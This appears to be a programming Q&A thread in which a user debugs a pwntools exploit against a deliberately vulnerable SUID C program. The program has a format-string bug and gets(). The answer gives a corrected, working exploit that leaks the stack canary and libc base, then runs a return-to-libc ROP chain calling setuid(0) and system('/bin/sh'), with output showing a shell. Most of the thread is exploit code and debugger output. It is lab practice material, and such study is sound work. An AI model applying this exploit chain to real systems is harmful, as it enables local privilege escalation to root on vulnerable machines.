csegmentation-faultbuffer-overflowpwntools

Get a SIGSEV on a buffer overflow


I am attempting to create a buffer-overflow on a simple x64 C binary with all protections enabled (i.e. ASLR, canary, PIE, NX, Full RelRO - disabled Fortify). I am using an (updated) x64 Kali Linux 2020.3 distro (in vmware using the vmware image from the official offensive security website). I am compiling the program as root and I am enabling the SUID bit to access the program with root privilidges from an unpriviledged account. The code of the vulnerable program (example5.c) is the following:

#include <stdio.h>

int main(int argc, char *argv[]){

        vuln_func(argv[1]);
        return 0;

}

void vuln_func(char *input){

        char buffer[256];

        printf(input);

        printf("\n");

        gets(buffer);
}

and to compile the program I am using the following Makefile:

all: 
         gcc example5.c -g -Wl,-z,relro,-z,now -o example5 -fstack-protector -D_FORTIFY_SOURCE=0 
clean:
        rm example5

So, I open up my terminal and enter:

su
<enter root password>
make
chmod u+s example5
exit

and then I am using an exploit that I have created in python 3.8.6 using pwntools to leak the canary and the base address of libc (libc-2.31.so) to perform a return-to-libc attack (using 2 gadgets). The exploit is the following (exploit5.py):

#!/usr/bin/env python3

from pwn import *

p = process(["./example5", "%21$llx:%41$llx:"])

leak = p.readline().decode("utf-8").split(":")

libc_base = int(leak[0], 16) - 0x1f83cc
canary = int(leak[1], 16)

log.success(f"libc base: {hex(libc_base)}")
log.success(f"stack canary: {hex(canary)}")

poprdi_ret  = p64(libc_base + 0x2679e)  # pop rdi; ret

padding = b"A"*264 # junk - padding
padding += p64(canary) # stack canary
padding += b"B"*8 # override RBP address

"""
2 gadgets
setuid(0) - run as root 
system("/bin/sh") - execute a shell
"""
code = b""
code += poprdi_ret # pop rdi; ret
code += p64(0x0) # root uid
code += p64(libc_base + 0x25000 + 0xa70c0) # setuid address
code += poprdi_ret # pop rdi; ret
code += p64(libc_base + 0x18a156) # /bin/sh address
code += p64(libc_base + 0x25000 + 0x23db0) # system address
code += p64(libc_base + 0x25000 + 0x195c0) # exit address

payload = padding + code

p.sendline(payload)

p.interactive()

Although the values are leaked properly I get a segmentation fault as below:

kali@kali:~/Desktop/boe/example5$ ./exploit5.py 
[+] Starting local process './example5': pid 3288
[+] libc base: 0x7ffff7df5000
[+] stack canary: 0xccf346b075ea7800
[*] Switching to interactive mode
[*] Process './example5' stopped with exit code -11 (SIGSEGV) (pid 3288)
[*] Got EOF while reading in interactive
$ 
[*] Got EOF while sending in interactive

Solution

  • I think you wrongly calculated some offset. I modified your script to automate some calculation. I am using Ubuntu 20.04 for testing. Btw, you should use %p instead of %llx for address.

    Set breakpoint after printf(input); then inspected the stack, I decided to go for __libc_start_main to leak libc base:

    pwndbg> x/50gx $rsp
    0x7ffe9551fac0: 0x0000000000000000  0x00007ffe95520419 <-- First 6 arguments are in registers, so stack starts with the seventh argument
    0x7ffe9551fad0: 0x0000034000000340  0x0000034000000340
    0x7ffe9551fae0: 0x0000034000000340  0x0000034000000340
    0x7ffe9551faf0: 0x0000034000000340  0x0000034000000340
    0x7ffe9551fb00: 0x0000034000000340  0x0000034000000340
    0x7ffe9551fb10: 0x0000034000000340  0x0000034000000340
    0x7ffe9551fb20: 0x0000034000000340  0x0000034000000340
    0x7ffe9551fb30: 0x0000034000000340  0x0000034000000340
    0x7ffe9551fb40: 0x0000000000000000  0x0000000000000100
    0x7ffe9551fb50: 0x0000000000000000  0x0000000000000000
    0x7ffe9551fb60: 0x0000000000000000  0x0000000000000000
    0x7ffe9551fb70: 0x0000000000000000  0x0000000000000000
    0x7ffe9551fb80: 0x0000000000000000  0x0000000000000000
    0x7ffe9551fb90: 0x0000000000000000  0x0000000000000000
    0x7ffe9551fba0: 0x000055f431237040  0x0000000000f0b5ff
    0x7ffe9551fbb0: 0x00000000000000c2  0x00007ffe9551fbe7
    0x7ffe9551fbc0: 0x00007ffe9551fbe6  0x000055f43123829d
    0x7ffe9551fbd0: 0x00007fa277732fc8  0xb0b4adcb5c037800
    0x7ffe9551fbe0: 0x00007ffe9551fc00  0x000055f4312381d4
    0x7ffe9551fbf0: 0x00007ffe9551fcf8  0x0000000200000000
    0x7ffe9551fc00: 0x0000000000000000  0x00007fa2775690b3 <-- I choose this address
    0x7ffe9551fc10: 0x00007fa277778620  0x00007ffe9551fcf8
    0x7ffe9551fc20: 0x0000000200000000  0x000055f4312381a9
    0x7ffe9551fc30: 0x000055f431238250  0x647176ddde9b26f8
    0x7ffe9551fc40: 0x000055f4312380c0  0x00007ffe9551fcf0
    pwndbg> x/i 0x00007fa2775690b3
       0x7fa2775690b3 <__libc_start_main+243>:  mov    edi,eax
    pwndbg> 
    

    Exploit:

    #!/usr/bin/env python3
    
    from pwn import *
    
    p = process(["./example5", "%41$p:%47$p:"])
    elf = ELF('./example5')
    lib = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    
    leak = p.readline().decode("utf-8").split(":")
    
    canary = int(leak[0], 16)
    libc_base = int(leak[1], 16) - lib.symbols['__libc_start_main'] - 243 # In my Ubuntu, %47$p is __libc_start_main+243, you should check your debugger
    
    log.success(f"libc base: {hex(libc_base)}")
    log.success(f"stack canary: {hex(canary)}")
    
    poprdi_ret_gadget = 0x0000000000026b72            # ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep "pop rdi"
    poprdi_ret  = p64(libc_base + poprdi_ret_gadget)  # pop rdi; ret
    
    padding = b"A"*264     # junk - padding
    padding += p64(canary) # stack canary
    padding += b"B"*8      # override RBP address
    
    """
    2 gadgets
    setuid(0) - run as root 
    system("/bin/sh") - execute a shell
    """
    code = b""
    code += poprdi_ret                                    # pop rdi; ret
    code += p64(0x0)                                      # root uid
    code += p64(libc_base + lib.symbols['setuid'])        # setuid address
    code += poprdi_ret                                    # pop rdi; ret
    code += p64(libc_base + next(lib.search(b'/bin/sh'))) # /bin/sh address
    code += p64(libc_base + lib.symbols['system'])        # system address
    code += p64(libc_base + lib.symbols['exit'])          # exit address
    
    payload = padding + code
    p.sendline(payload)
    p.interactive()
    

    Result:

    zeltrax@ubuntu:~$ python3 test.py 
    [+] Starting local process './example5': pid 2507
    [*] '/home/zeltrax/example5'
        Arch:     amd64-64-little
        RELRO:    Full RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      PIE enabled
    [*] '/lib/x86_64-linux-gnu/libc.so.6'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      PIE enabled
    [+] libc base: 0x7fcc1f376000
    [+] stack canary: 0x5741569d0b8c9d00
    [*] Switching to interactive mode
    $ ls
    a.out  Desktop           HeapLAB     pwn1         sandbox.py  test.py
    bf.py  Dockerfile_example  libc.so.6   pwn2         solve2.py     tools
    core   example5           msfinstall  random_gen    test.c     zeltrax00.ovpn
    c.py   flag.txt           pictures    readfile.asm  test.o
    $ whoami
    zeltrax
    $